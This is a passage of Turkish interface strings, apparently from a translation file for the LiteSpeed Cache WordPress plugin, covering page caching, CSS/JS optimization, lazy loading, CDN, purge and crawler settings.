daha yeni bir sürümü kullanıyor olmalısınız.QC hizmetlerini kullanmak için gerçek bir alan adına ihtiyacınız var, IP kullanamazsınız.CSS'i Dahil EtDosya Türlerini Dahil EtGörselleri Dahil EtJS'yi Dahil Et%1$s etkinleştirildiğinde  birleştirilmiş dosya içine harici CSS ve satır içi CSS'i dahil et. Bu seçenek CSS önceliklerini koruyarak CSS birleştirme nedeniyle oluşabilecek potansiyel hataları en aza indirir.%1$s de etkinleştirildiğinde, harici ve satır içi JS'leri birleştirilmiş dosyaya dahil et. Bu seçenek JS yürütme önceliklerini korur ve böylece JS birleştirme nedeniyle oluşabilecek potansiyel hataları en aza indirir.Dahil edilen dizinlerSatır İçi Sekronize Olmayan CSS KütüphanesiSatır İçi CSS, Birleştir'e eklendiSatır İçi JS, Birleştir'e eklendiSatır içi UCSS ekstra CSS dosya yüklemelerini azaltır. Bu seçenek %1$s sayfaları için otomatik olarak açılmaz. %1$s sayfalarında kullanmak için AÇIK konuma getirin.Kur%s KurDoLogin Security yükleyinŞimdi KurAnında TıklamaGeçersiz IPGeçersiz giriş çerezi. Geçersiz karakterler bulundu.Geçersiz giriş çerezi. Lütfen %s dosyasını kontrol edin.Geçersiz rewrite kuralıAnında base64 SVG yer tutucuya dönüştürülecektir.JS'yi birleştirHarici ve dış CSS'i birleştirmeHem harici hem de satır içi JS için JS ErtelemeJS Ertelenmiş / Gecikmeli Hariç TutulanlarJS GecikmeliJS Gecikmeli İçerirHariç tutulan JSJS'yi küçültJS AyarlarıJS hatası, sağ tıklayıp İnceleyi seçerek açılan tarayıcı geliştirici konsolundan bulunabilir.LiteSpeed Slack topluluğuna katılınSlack ile bize katıl%s kullanıcı topluluğumuza katıldı.Düz renk yer tutucuları kullanmak için bunu kapalı tutun.LQIPLQIP ön belleğiLQIP Bulut oluşturucuLQIP hariç tutmalarıLQIP minimum boyutlarıLQIP Kalitesi%s boyutu için LQIP görseli ön izlemesiHem genişlik hem de yüksekliği bu boyutlardan daha küçük olan görseller için LQIP istekleri gönderilmez.LSCacheBu sayfadaki LSCache önbellek işlevleri şu an kullanılabilir değildir!Daha büyük sayılar daha yüksek çözünürlüklü yer tutucu oluşturur, ancak sayfa boyutunu artıracak ve daha puan tüketecek daha büyük dosyalara neden olurlar.Şundan büyükSon çekimSon ÇekilenSon İstekSon HesaplananEn son tamamlanan tüm taramaların çalışma süresiSon dışarı aktarılanSon oluşturulanSon aktarılanSon aralıkEn son istek %s konumundaki cron tarafından başlatıldı.Son çalıştırılanSon isteğin maliyetiGeç yüklemeden hariç tutulacak Iframe'ler için class adlarıGeç yüklemeden hariç tutulacak Iframeler için ana eleman class adlarıİç Çerçeveleri Geç YükleGeç yüklemeden hariç tutulacak görsel class'larıGeç yüklemeden hariç tutulan görsellerGeç yüklemeden hariç tutulacak görseller için ana eleman class isimleriGörselleri Geç YükleGeç yüklemeden hariç tutulacak URI'lerIframe'ler için Gecikmeli YüklemeGörseller için Gecikmeli YüklemeDaha fazla bilgi edinFazlasını ÖğrenBunun ne zaman gerekli olduğu hakkında daha fazla bilgi edininQUIC.cloud ile bağlaMobil tarayıcı kimliği listesiBu türdeki her öğenin kendi CCSS'sinin oluşturmasını gerektiren yazı türlerini listeleyin .Listelenen CSS dosyaları UCSS'den çıkarılacak ve satır içine kaydedilecektir.Listedeki IP'ler misafir modu ziyaretçileri olarak kabul edilecektir.Listelenen JS dosyaları veya satır içi JS kodları gecikecektir.Listedeki JS dosyaları veya satır içi JS kodları ertelenmez.Listelenmiş JS dosyaları veya satır içi JS kodları %s tarafından iyileştirilmeyecektir.Listedeki URI'ler için UCSS oluşturulmayacaktır.Listedeki tarayıcı kimlikleri misafir modu ziyaretçisi olarak kabul edilecektir.Listedeki görsellerde 'lazy load' kullanılmayacaktır.LiteSpeed CacheLiteSpeed Cache CDNLiteSpeed Cache Yapılandırma Ön AyarlarıLiteSpeed Cache TarayıcısıLiteSpeed Cache gösterge paneliLiteSpeed Cache veri tabanı optimizasyonuLiteSpeed Cache genel ayarlarıLiteSpeed Cache Görsel OptimizasyonuLiteSpeed Cache ağ önbellek ayarlarıLitespeed Cache sayfa optimizasyonuLitespeed Cache Tüm Önbellek Kayıtlarını TemizleLiteSpeed Cache AyarlarıLiteSpeed Cache Standart Ön AyarlarıLiteSpeed Cache araç kutusuLiteSpeed Cache .htaccess'i görüntüleyinLiteSpeed Cache Eklentisi kuruldu!LiteSpeed Tarayıcısı Cron İşleviLiteSpeed KayıtlarıLiteSpeed ​​OptimizasyonuLiteSpeed RaporuLiteSpeed TechnologiesLiteSpeed cache eklentisi güncellendi. Veri yükseltmesi yapılandırmasını tamamlamak için sayfyayı yenileyin.CSS'i Eşzamansız YükleGoogle Yazı Tiplerini Asenkron Olarak YükleJS'i Gecikmeli Yükleİç çerçeveleri yalnızca belirtilen görüntü alanına girdiklerinde yükleyin.Görselleri sadece görüntü alanına girdiklerinde yükleyin.YerelleştirmeYerelleştirme DosyalarıYerelleştirme AyarlarıKaynakları YerelleştirinHarici kaynakları yerelleştirin.Yerelleştirilmiş KaynaklarLog Dosyası Boyutu SınırıGünlük görünümüGiriş çereziDüşük kaliteli görsel yer tutucu (LQIP)MBYönetManuel olarak kara listeye eklendiElle çalıştırHaritaBu sayfayı şununla işaretle Maksimum görüntü gönderi kimliğiMaksimum değerBelki sonraBelki sonraHariç tutulan medyaOrtam AyarlarıQUIC.cloud sunucusundan mesajYöntemCSS dosyalarını ve satır içi CSS'i küçült.HTML içeriğini küçült.JS dosyaları ve satır içi JS kodlarını küçültün.Minimum değerÖnbellekte değildiMobilMobil tarayıcı kimliği kurallarıMobil ÖnbellekAylık arşivDaha fazlaKullanılabilir komutlar hakkında daha fazla bilgiyi burada bulabilirsiniz.Daha fazla ayar%s menüsü içinde daha fazla ayar mevcutturNOTDİKKATDİKKAT:DİKKAT: Veritabanı oturum açma çerezi sizin giriş çerezinizle uyuşmuyor.Ağ gösterge paneliAğ önbellek etkinleştirmeYeni geliştirici sürümü mevcut!Yeni sürüm mevcut!Yeni geliştirici sürümü %s artık kullanılabilir.Yeni sürüm %s şu anda kullanılabilir.Sunucu yükünü kontrol ettikten sonra kullanılabilir bulut düğümü bulunamadı.Kullanılabilir bulut düğümü yok.Kullanılabilir Cloudflare alanı yokOrijinal dosyanın yedeği bulunmuyor.Optimize edilmemiş WebP dosyası yedeği bulunmuyor.Şu an kullanılan bulut hizmeti yokTarayıcı meta dosyası oluşturulmayacakOptimizasyon yokBulut sunucusu tarafından bu istekte uygun görsel bulunamadı.Bu istekte uygun görsel bulunamadı.Tarayıcı için geçerli bir site haritası bulunamadı.ÖnbelleksizMüsait değilBlok listesinde değilNotNotlarUyarıBildirimlerTüm Cloudflare önbelleği başarıyla temizlendi.Cloudflare geliştirici modu %s olarak başarıyla ayarlandı.LiteSpeed Web sunucusu CSS/JS girdilerin silmesi için bilgilendirildi.LiteSpeed Web Server tüm LSCache kayıtlarını temizlemek için bilgilendirildi.LiteSpeed Web sunucusu tüm sayfaları temizlemesi için bilgilendirildi.LiteSpeed Web Sunucusu hata sayfalarını temizlemesi için bilgilendirildi.LiteSpeed Web sunucusu her şeyi temizlemesi için bilgilendirildi.LiteSpeed Web Sunucusu ana sayfa ön belleğinin temizlenmesi için bilgilendirildi.LiteSpeed Web sunucusu listeyi temizlemesi için bilgilendirildi.KAPALIAÇIKVEYANesneNesne ÖnbelleğiNesne önbelleği ayarlarıNesne önbelleği etkin değil.Kaydedildikten sonra, geçerli liste ile eşleşecek ve otomatik olarak tamamlanacaktır.Çekilen bir ya da daha fazla görsel bildirilen görselin md5'i ile uyuşmuyorHer satırda bir tane.Çevrimiçi düğümün yeniden tespiti gerekiyor.Sadece burada listelenen özellikler değiştirilecektir.Yalnızca %s yüklendiğinde kullanılabilir.Sadece bu dizinlerdeki dosyalar CDN'ye işaret edilecektir.Sadece listedeki sayfaların kayıtlarını tut.Sayfaları sadece misafir (giriş yapmamış) ziyaretçiler için optimize et. KAPALI hale getirilirse CSS/JS/CCSS dosyaları her kullanıcı grubu için ikiye katlanır.Sadece cron görevi devredışı bırakıldığında bu düğmeye basın.Opcode ÖnbelleğiOpenLiteSpeed kullanıcıları lütfen buna göz atınİşlemOptimizasyon durumuOptimizasyon ÖzetiOptimizasyon araçlarıCSS teslimatını optimize edin.Kayıpsız sıkıştırmaOrijinal Resimleri Optimize EdinTabloları İyileştirVeritabanınızdaki tüm tabloları optimize edinYalnızca konular için optimize etResimleri iyileştirin ve orijinal resimler ile aynı klasörde saklayın.Kayıpsız sıkıştırmayı kullanarak görüntüleri optimize edin.Görselleri QUIC.cloud sunucumuzla optimize edinTüm tablolar iyileştirildi.SEçenek adıİsteğe bağlıAPI belirteci kullanıldığında isteğe bağlıdır.Seçenekler kaydedildi.OrijOrij %sOrij. tasarruf %sOrijinal URL'lerOrijinal dosya %1$s küçültüldü (%2$s)Sahipsiz Gönderi MetasıDiğer onay kutuları yok sayılır.PAYG bakiyesi%s PHP sabiyi destekleniyor.Sayfa Yükleme SüresiSayfa OptimizasyonuPageSpeed DeğeriSayfalarOrtaklar Tarafından Sağlanan FaydalarGeçmişŞifreŞifresiz bağlantıYol %s ile bitmelidirBu dizinde bulunan dosyalar, önbelleğe alma ayarlarından bağımsız olarak önbelleğe alınır.Bu metinleri içeren yollar, önbelleğe almama ayalarından bağımsız olarak önbelleğe alınması zorunlu hale getirilir.Bu metinleri içeren yollar önbelleğe alınmayacaktır.Bu metinleri içeren yollar CDN servisi üzerinden sunulmayacaktır.Kullandıkça ödeKullandıkça öde kullanım istatistikleriKalıcı BağlantıLiteSpeed Cache ile çakışabilecekleri için lütfen aşağıda tespit edilen eklentileri devre dışı bırakmayı düşünün:Lütfen yukarıdaki şifresiz giriş bağlantısını kimseyle paylaşmayın.Lütfen eklenti ayarlarında LiteSpeed ​​Cache'i etkinleştirin.Lütfen LSCache Modülünü sunucu düzeyinde etkinleştirin veya barındırma sağlayıcınıza danışın .Lütfen bu IP'nin sitenizi ziyaret etmek için doğru ip olduğundan emin olun.Lütfen bu seçeneği etkinleştirmeden önce tüm uyarıları okuyun.Daha fazla bilgi için lütfen %s inceleyin.Lütfen, bu listedeki herhangi bir seçeneği etkinleştirirken iyice test edin. Küçültme/Birleştirme ayarlarını değiştirdikten sonra Tümünü Temizle eylemini yapmayı unutmayın.Lütfen beklendiği gibi çalıştıklarından emin olmak için %s içindeki tüm öğeleri iyice test edin.Beklendiği gibi çalıştığından emin olmak için lütfen eklediğiniz her JS dosyasını iyice test edin.%2$s hizmeti için %1$s sonra yeniden deneyin.BağlantıPost IDYazı RevizyonlarıPosta türü arşiviÖn bağlantı, belirli bir kaynaktan gelecek yükleri hızlandırır.Önceden tanımlanmış liste yukarıdaki ayarlarla da birleştirilecektirPrefetching DNS, ziyaretçileriniz için gecikmeyi azaltabilir.Optimizasyon işlemi yapılırken EXIF verilerini (telif hakkı, GPS bilgisi, yorumlar,anahtar kelimeler vb.) koruyun.EXIF/XMP Verilerini KoruÖn AyarlarBeta testini sonlandırmak ve WordPress eklenti dizinindeki geçerli sürüme geri dönmek için %s düğmesine basın.En son GitHub commitini kullanmak için %s düğmesine basın. Master sonraki sürüm adayı, Dev deneysel testler içindir.Google Fonts kullanımını tüm sayfalarda engelle.Listedeki sayfaların hata ayıklama günlüklerini engelle.Listedeki sayfalarda geç yüklemeyi engelle.Listelenen sayfaların optimizasyonunu önleyin.Listelenen dizeleri içeren günlük girişlerinin yazılmasını önleyin.Önceki istek çok yakın zamanda yapıldı. Lütfen %s sonra tekrar deneyin.Önceki istek çok yakın zamanda yapıldı. Lütfen daha sonra tekrar deneyin.Önceden kara listede vardıÖzelÖzel önbellekÖzel Önbelleğe Alınmış BağlantılarÖzel önbelleklemeBekleyen yorumu olan ziyaretçileri özel olarak önbelleğe al. Bu seçeneği devre dışı bırakmak yorum yapanlara önbelleğe alınmayan sayfalar sunar. (LSWS %s gereklidir)Giriş yapmış kullanıcılar için ön yüz sayfalarını kişiye özel şekilde önbelleğe al. (LSWS %s gereklidir)Ürün Güncelleme AralığıHerkese açıkGenele açık önbellekÇekme Cron'u çalışıyorGörüntüleri ÇekÇekilen WebP görseli md5'i ile bildirilen WebP görseli md5'i eşleşmiyor.Temizle%s hatalarını temizle%s hata sayfalarını temizleTümünü temizleTüm özellikleri temizleGüncellemede tümünü temizleŞunu baz alarak temizle...Her Şeyi TemizleAna Sayfa Önbellek Kayıtlarını TemizleTemizleme listesiKayıtı TemizleSayfaları TemizleAyarları temizleTüm nesne önbellekleri başarıyla temizlendi.Tüm nesne önbelleklerini temizleStok durumu değiştiğinde sadece kategori ile ilgili ön belleği temizle.%s Kategorisini önbellekten silSayfaları kategori adına göre temizle - ör. %1$s URL'si için %2$s kullanılmalıdır.Post ID sine göre sayfaları temizleyin.Sayfaları bağıl veya tam URL ile temizle.Sayfaları etiket adına göre temizle - ör. %1$s URL'si için %2$s kullanılmalıdır.Ürünü ve kategorileri sadece stok durumu değiştiğinde temizle.Stok durumu veya miktarı değiştiğinde sadece ürün ile ilgili ön belleği temizle.Stok durumu değiştiğinde sadece ürün ile ilgili ön belleği temizle.%s etiketini temizleBu eklenti tarafından oluşturulan LiteSpeed önbellek kayıtlarını temizleKritik CSS & Benzersiz CSS & LQIP önbellekleri hariç bu eklenti tarafından oluşturulan önbelleği temizleBu sayfayı temizleURL yi temizle %sTüm bellek temizlendi!Tüm önbellek başarıyla temizlendi.Blog önbelleği temizlendi!Temizlendi!Cloud sunucusuna %1$s gönderildi, %2$s kabul edildi.QUIC.cloudQUIC.cloud hizmeti kullanım istatistikleriBu parametreleri içeren query string'ler önbelleğe alınmayacaktır.LiteSpeed dokümantasyonunu okuyunBelirtecin "WordPress" Cloudflare API token şablonundan oluşturulması tavsiye edilir.Tavsiye edilen değer: 28800 saniye (8 saat).Yeniden algılaDüğüm yeniden tespit edildiRedis Veritabanı IDTarayıcı haritasını tazeleGravatar önbelleğini cron ile yenileyin.Sayfa yükleme süresini yenileSayfa yenileme puanıKalan günlük kotaCDN URL'sini çıkartGoogle Fontlarını KaldırNoScript etiketlerini kaldırOrijinal yedekleri kaldırOrijinal görsellerin yedeklerini kaldırSorgu Metinlerini KaldırStatik Dosyalardan Sorgu Dizelerini KaldırWordpress Emoji KaldırDaha önce istenen resim optimizasyon isteklerini/sonuçlarını kaldırın, tamamlanmış optimizasyonları geri alın ve tüm optimize edilmiş dosyaları silin.Daha önceki tüm tamamlanmamış resim optimizasyon isteklerini kaldır.Çerez simülasyonunu kaldırKara listeden kaldırDahili ve statik kaynaklarda query string'leri kaldır.Kullanıcılar için Kullanılmayan CSS KaldırıldıYedekler başarıyla temizlendi.%1$s kodunu %2$s ile değiştirin.RaporSıradaki isteklerYeni küçük resimleri tara%d görsel başarıyla yeniden tarandı.Başarıyla yeniden tarandı.Tüm ayarları sıfırlaAyarları sıfırlaKonumu sıfırlaBaşarıyla sıfırlandı.Tüm opcode önbelleğini sıfırlaOptimize edilmiş veriler başarıyla sıfırlandı.Burada listelenen kaynaklar kopyalanacak ve yerel URL'lerle değiştirilecektir.Responsif yer tutucuReponsif yer tutucu rengiReponsif yer tutucu SVGResponsive yer tutucular görüntüler yüklendiğinde oluşabilecek düzen değişikliğini azaltmaya yardımcı olabilir.Ayarları Geri YükleYedekten geri alYedeklenen eski %1$s ayarları geri getirildiOrijinal dosya başarıyla onarıldı.Maks. revizyon ömrüMaks. revizyon sayısıRevizyonlar temizlenirken bu süreden daha yeni olan revizyonlar saklanacaktır.Hariç Tutulacak GruplarKullanıcı Rolü%s kuyruğunu elle çalıştırÇalışma sıklığıKuyruğu elle çalıştırÇalışma sıklığı çalışmalar arasında geçen süre ayarı ile belirlenir.Önceki tarama için çalışma süresiÇalışanDeğişikliği kaydet%1$s, %2$s olduğunda, geçici veritabanında kaydedin.KaydedildiSeçenek kaydedilemedi. IPv4 sadece %s için.Görsel optimizasyon işlemi yapılmamış tüm küçük resim görsellerini tarayın ve gerekli görsel optimizasyon isteklerini tekrar gönderin.Zamanlanmış Temizleme SaatiTemizlenmek için zamanlanmış URL'lerÖn veya ana sayfa dışındaki sayfalardaki yayınlarla bağlantılı dinamik widget'lar varsa "Tümü" seçeneğini belirleyin."Şunları temizle" seçeneklerini belirtin. Her satıra bir adet.Yalnızca şu anda kullanılan arşiv türlerini seçin, diğerleri işaretlenmeden bırakılabilir.Yazılar yayımlandığında / güncellendiğinde hangi sayfaların otomatik olarak temizleneceğini seçin.Seçilen gruplar tüm optimizasyonlardan hariç tutulur.Seçilen roller önbelleklemeden hariç tutulacak.Optimizasyon İsteği GönderBu raporu LiteSpeed'e gönder. WordPress destek forumuna yazarken bu rapor numarasını referans verin.LiteSpeed'e GönderAyrılmış CCSS Önbellek Yazı TürleriAyrı CCSS ön belleği URI'leriBu satırda listelenen kelimeler içeren bağlantılar için ayrı bir şekilde kritik CSS dosyaları oluşturulacaktır.Güncel olmayan içeriği sunMobil ziyaretçiler önbelleği ayrı bir kopyadan sun.Tüm CSS dosyalarını CDN üzerinden sunun. Bu tüm WP CSS dosyalarını etkileyecektir.Tüm JavaScript dosyalarını CDN üzerinden sunun. Bu tüm WP JavaScript dosyalarını etkileyecektir.Sunucu IPSunucu yük limitiSunucu değişkenleri %s bu ayarı geçersiz kılmak için kullanılabilir.Görünümde kaymaları azaltmak ve CLS'yi (önemli web verileri metriği) iyileştirmek için görsel öğelerin genişlik ve yüksekliğini tam olarak belirleyin.Bunu etkinleştirerek, CSS'yi önbelleğe almadan önce tüm %2$s kurallarına %1$s eklenmesini sağlayın ve böylece yazı tiplerinin indirilirken nasıl görüntüleneceğini belirtin.%2$s 'de Hearbeat'i yasaklamak için %1$s olarak ayarlayın.Özel başlık ayarlarıSeçeneklerOkunabilirliği arttırmak için hata ayıklama günlüğündeki query string'leri kısalt.Tarama durumunu gösterOptimize edilmiş resimleri %s sürümleriyle değiştirerek resimlerin yüklenme sürelerini önemli ölçüde azaltın.CDN üzerinden sunulacak olan site bağlantısı. Bu bağlantı %1$s ile başlamalıdır. Örneğin, %2$s.Site haritası listesiSite haritası toplamSite haritası başarıyla temizlendiSite haritası başarıyla oluşturuldu: %d öğeBoyutBekleyen boyut listesi göreviŞundan küçükOptimize edilmiş bazı görsellerin süresi doldu ve temizlendiler.Spam YorumlarGörsellerin yüklenmesi tamamlanana kadar basit bir yer tutucu olarak kullanılmak üzere bir base64 görsel belirtin.POST/GET olarka bir AJAX eylemi ve saniye cinsinden bu isteğin ne kadar süreyle ön belleğe alınacağını boşlukla ayırarak belirtin.Bu sayfayı önbelleğe almak için, boşlukla ayırarak bir HTTP durum kodu ve saniye cinsinden süre belirtin.Yerel olarak oluştururken kullanmak için bir SVG yer tutucu belirleyin.%s seçeneğini etkinleştirirken ekranın üst kısmındaki içerik için kritik CSS kurallarını belirtin.Tarayıcının tüm site haritasını tekrar taraması için geçmesi gereken süreyi saniye cinsinden belirtin.Gravatar dosyalarının önbellekte ne kadar tutulacağını saniye cinsinden belirtin.Rest çağrılarının ne kadar süreyle önbellekte tutulacağını saniye cinsinden belirtin.Akışlarının önbelleğe alınma süresini saniye cinsinden belirtin.Özel sayfaların önbellekte ne kadar süreyle tutulacağını saniye cinsinden belirtin.Genele açık sayfaların önbellekte ne kadar süreyle tutulacağını saniye cinsinden belirtin.Ana sayfanın önbellekte ne kadar süreyle tutulacağını saniye cinsinden belirtin.%s heartbeat aralığını saniye cinsinden belirtin.Azami günlük dosyası boyutunu belirtin.Revizyonlar temizlenirken saklanacak güncel kabul edilecek revizyon sayısını belirtin.Bağlanırken kullanılan şifreyi belirtin.LQIP oluştururken kaliteyi belirtin.Responsif yer tutucu SVG rengini belirtin."%s" listesini temizlemek için bir zaman belirleyin.CDN Mapping'le değiştirilecek HTML öz niteliklerini belirtin.Standart Ön AyarlarAsenkron tama başlatıldıAsenkron görüntü iyileştirme isteği başlatıldıStatik dosya türlerinin linkleri CDN linkleri ile değiştirilecektir.DurumWordPress.org emojilerini yüklemeyi durdur. Bunun yerine tarayıcının varsayılan emojileri kullanılır.Depolama OptimizasyonuGravatar'ları yerel olarak saklayın.Mağaza GeçişleriBaşarıyla tarandıÖzetTabii incelemeyi çok isterim!DeğiştirSitenizde optimize edilmiş görselleri kullanmaya devam edinResimler başarıyla aktarıldı.Optimize edilmiş dosya başarıyla aktarıldı.Kredi hakkı bulut sunucusuyla başarıyla senkronize edildi.Verileri buluttan eşitleSistem BilgisiTTLTabloEtiketCloudflare önbelleğini geçici olarak atlayın. Bu, kaynak sunucusuna yapılan değişikliklerin gerçek zamanlı olarak görülmesini sağlar.Terim arşivi (kategori, etiket ve taksonomi dahil)Test ediliyorLiteSpeed ​​Cache eklentisini kullandığınız için teşekkürler!LiteSpeed Cache eklentisi sayfaları önbellekten sunarak sitenin performansını basitçe iyileştirir.Buradaki URL'ler (her satırda bir adet) "%s" seçeneğinde belirtilen zamanda otomatik olarak temizlenirler.URL’ler, REQUEST_URI sunucu değişkeniyle karşılaştırılacaktır.Viewport Images hizmeti, hangi görüntülerin katlamanın üstünde göründüğünü algılar ve bunları tembel yüklemenin dışında tutar.Yukarıdaki nonce anahtarları otomatik olarak ESI'ye dönüştürülür.Bu dosyaların geçerlilikleri dolmadan önce tarayıcı ön belleğinde saklanacakları saniye cinsinden süre.Ön belleğin doğru çalışması için WordPress sitenize hangi kullanıcının giriş yaptığını ayırt edebilmesi gerekir.Alan adınıza yönelik dönüş doğrulaması hash uyuşmazlığı nedeniyle başarısız oldu.Alan adınıza yönelik dönüş doğrulaması başarısız oldu. Lütfen sunucularımızı engelleyen bir güvenlik duvarı olmadığından emin olun.Alan adınıza yönelik dönüş doğrulaması başarısız oldu. Lütfen sunucularımızı engelleyen bir güvenlik duvarı olmadığından emin olun. Yanıt kodu: Burada belirtilen çerez WordPress kurulumu için kullanılacaktır.Tarama işlevi LiteSpeed sunucusunda etkinleştirilmemiş. Lütfen sunucu yöneticiniz veya yer sağlayıcınıza başvurun.Tarayıcı XML site haritanızı veya site haritası dizininizi kullanır. Sitenizin tam URL'sini buraya girin.Mevcut sunucu ağır yük altında.Veritabanı,%s 'den beri arka planda güncelleniyor. Yükseltme tamamlandığında bu mesaj kaybolacaktır.Varsayılan giriş çerezi %s.Ortam raporu WordPress yapılandırması ile ilgili detaylı bilgiler içerir.Şu seçenekler seçili fakat ayarlar sayfasında düzenlenebilir değil.100 üzerinden WordPress görsel sıkıştırma kalite ayarı.Görsel listesi boş.En son veri dosyasıListe, yerel veri dosyanızdaki önceden tanımlanmış nonce anahtarları ile birleştirilir.Tarama sırasında izin verilen azami sunucu yükü. Sunucu yükü bu limitin altına inene kadar tarayıcı thread sayısı aktif şekilde azaltılacaktır. Bunu tek thread'le sağlamak da mümkün olmazsa tarama sonlandırılacaktır.Ağ yöneticisi tüm alt sitelerde birincil site yapılandırmasının kullanılmasını tercih etmiştir.Ağ yöneticisi ayarı burada geçersiz kılınabilir.Bir sonraki tam site haritası taraması şu zamanda başlayacakKuyruk eşzamansız olarak işlenir. Bu biraz zaman alabilir.Seçici CSS içerisinde yer almalıdır. HTML'deki üst sınıflar (class) çalışmaz.Sunucu, bu çerezin varlığına bağlı olarak kullanıcının oturum açıp açmadığını belirleyecektir.Site QUIC.cloud'da geçerli bir takma ad değil.Bu site QUIC.cloud'da kayıtlı değil.Sornasında %s konusmunda bir başka WordPress kurulumu yapılmış. (çoklu site değil)%s için bir WordPress kurulumu var.Henüz çekilmemiş işlem kuyruğu var.Henüz çekilmemiş ve devam eden işlem kuyruğu var. Kuyruk bilgisi: %s.Bu görseller için LQIP oluşturulmayacak.Bu seçenekler yalnızca LiteSpeed Enterprise web sunucusu veya QUIC.cloud CDN ile kullanılabilir.Bu ayarlar SADECE YETKİN KULLANICILAR içindir.Bu işlem sadece yanlış önbellekleme yapıldı ise kullanılmalıdır.Bu seçenek, bu ayar öncelikli olmak üzere %2$s içerisinde veya %1$s sabiti ile önceden tanımlanmış olabilir.Bu seçenek gelen ilk HTTP isteklerini azaltarak sayfa yüklenme süresini iyileştirebilir.Bu seçenek resmin kalitesini artırabilir ancak kayıplı sıkıştırmaya göre daya büyük boyutlu dosyalara neden olabilir.Bu sayfa yükleme sürelerini iyileştirebilir.Bu, Pingdom, GTmetrix ve PageSpeed gibi servislerde hız puanınızı artırabilir.Bu, sayfanın ilk ekran dolusu görüntüsünün gecikme olmaksızın tamamen görüntülenmesini sağlar.Bu geri döndürülemez.Bu ön belleği tüm sitelerde etkinleştirmeden önce uyumluluğu sağlamak içindir.Bu düşük riskli ön ayar, hız ve kullanıcı deneyimi için temel optimizasyonları sunar. Hevesli yeni başlayanlar için uygundur.Bu sunucunuzda ağır yüke sebebiyet verebilir.Bu mesaj eklentinin sunucu yöneticisi tarafından kurulduğunu gösterir.Bu risksiz ön ayar, tüm web siteleri için uygundur. Yeni kullanıcılar, basit web siteleri veya önbelleğe dayalı geliştirmeler için uygundur.Bu seçenek, gelişmiş bazı mobil veya tablet ziyaretçileri için önbellekteki farklılıkları düzeltmeye yardımcı olacaktır.Bu seçenek konuk modu ziyaretçileri için maksimum optimizasyon sağlar.%1$s seçeneği %2$s olarak ayarlandığından bu seçenek atlandı.Bu seçenek %s seçeneği nedeniyle atlandı.Bu seçenek, belirli temalara/eklentilere sahip ön yüz sayfalarında JS hataları veya düzen sorunlarına neden olabilir.Bu seçenek %s seçeneğini otomatik olarak atlar.Bu seçenek, tüm %s etiketlerini HTML'den kaldırır.Bu ön ayar neredeyse kesinlikle bazı CSS, JS ve Gecikmeli Yüklenen Görseller için test ve istisnalar gerektirecektir. Logolara veya HTML tabanlı kaydırıcı (slider) görsellerine özellikle dikkat edin.Bu ön ayar çoğu web sitesi için iyidir ve çakışmalara neden olma olasılığı düşüktür. Herhangi bir CSS veya JS çakışması durumunda, Sayfa Optimizasyonu > Ayarlama araçları ile çözülebilir.Bu ön ayar, bazı web siteleri için beklenenin dışında çalışabilir, ancak test ettiğinizden emin olun! Sayfa Optimizasyonu > Ayarlama'da bazı CSS veya JS hariç tutmaları gerekli olabilir.Bu işlem otomatiktir.Bu ayar, %2$s nedeniyle belirli nitelikli talepler için %1$s'dir!Bu ayar, aynı alan adı için birden fazla web uygulaması olması durumunda kullanışlıdır.Bu ayar .htaccess dosyasını düzenleyecektir.Bu ayar tarayıcı listesini yeniden oluşturur ve devre dışı bırakılanlar listesini temizler!Bu site, daha hızlı yanıt süresi ve daha iyi kullanıcı deneyimi sağlamak için önbellek kullanır. Önbelleğe alma, bu sitede görüntülenen her web sayfasının tekrarlanan bir kopyasını depolayabilir. Tüm önbellek dosyaları geçicidir ve önbellek eklenti sağlayıcısından teknik destek talep edilmedikçe hiçbir üçüncü taraf tarafından erişilmez. Önbellek dosyalarının süresi site yöneticisi tarafından belirlenen bir zamanlamaya göre sona erer, ancak gerekirse süre dolmadan yönetici tarafından kolayca temizlenebilir. Verilerinizi geçici olarak işlemek ve önbelleğe almak için QUIC.cloud hizmetleri kullanabiliriz.Bu sadece Ana Sayfa Önbellek kayıtlarını temizlerBu sadece sayfaları temizlerBu daha erken bağlantı sağlamak için Google Fonts'a da bir ön bağlantı ekleyecektir.Bu, mevcut ayarlarınızı yedekleyecek ve %1$s önceden ayarlanmış ayarlarla değiştirecektir. Devam etmek istiyor musun?Bu önbellek içindeki HERŞEYİ temizler.Bu önbelleğe alınmış tüm Gravatar dosyalarını silecektirBu oluşturulan tüm kritik CSS dosyalarını silerBu oluşturulan tüm LQIP yer tutucu görsel dosyaları silerBu işlem oluşturulan tüm benzersiz (unique) CSS dosyalarını silerBu, tüm yerelleştirilmiş kaynakları silecektirBu seçenek,hata ayıklama özelliği için tüm LSCache optimizasyon özelliklerini devre dışı bırakır.Bu tüm alt sitelerdeki ayar sayfalarını devre dışı bırakacaktır.Bu seçenek her sayfadaki kullanılmayan CSS'i birleştirilmiş dosyadan çıkartır.Bu tarayıcının cron işlerini etkinleştirecektir.Bu tüm LiteSpeed Cache ayarlarını dışarı aktarır ve bir dosya olarak kaydeder.Bu seçenek sunucu yükünü artıracak ve sunucuya ekstra istekler yükleyecektir.Bu, genişlik ve yükseklik özelliklerine sahipse, yer tutucuyu görüntüyle aynı boyutlarda oluşturur.Bu, dışarıdan bir ayar dosyasını içeri aktarmanızı sağlar ve aktarım yapıldığı zaman mevcut tüm LiteSpeed Cache ayarları geçersiz kalır.Bu optimize edilmiş dosyaların boyutunu artıracaktır.Bu seçenek,senkronize olmayan CSS kütüphanesinin sayfa yüklenmesini engellememesi için satır içinde gösterecektir.Bu sadece küçültülmüş/birleştirilmiş tüm CSS/JS kayıtlarını temizlerBu, tüm ayarları varsayılan ayarlara sıfırlayacaktır.Bu, %2$s ön ayarını uygulamadan önce %1$s tarafından yedeklenen eski ayarlarınızı geri yükleyecektir. O zamandan bu yana yapılan tüm değişiklikler kaybolacaktır. Devam etmek istiyor musun?Belirli bir çerezle gezinmek için çerez adını ve tarayıcının kullanmasını istediğiniz değerleri girin. Her satırda bir değer olmalıdır. Her bir çerez ve simule edilen rol başına bir tarayıcı oluşturulur.Siteye giriş yapmış bir kullanıcı olarak taramak için simule edilecek olan kullanıcının bilgilerini giriniz.Bu URL için özel bir TTL tanımlamak için, URL'nin sonuna TTL değerini ekleyin ve ardından bir boşluk bırakın.Tam eşleme yapmak için, %s 'i URL sonuna ekle.Aşağıdaki işlevleri etkinleştirmek için CDN ayarlarında Cloudflare API'yı AÇIK konuma getirin.%1$s hariç tutmak için, %2$s ekleyin.LiteSpeed Destek Ekibi'ne vermek üzere şifresiz bir bağlantı oluşturmak için %s yüklemeniz gerekir.LiteSpeed Destek Ekibi'ne wp-admin erişimi sağlamak için, raporla 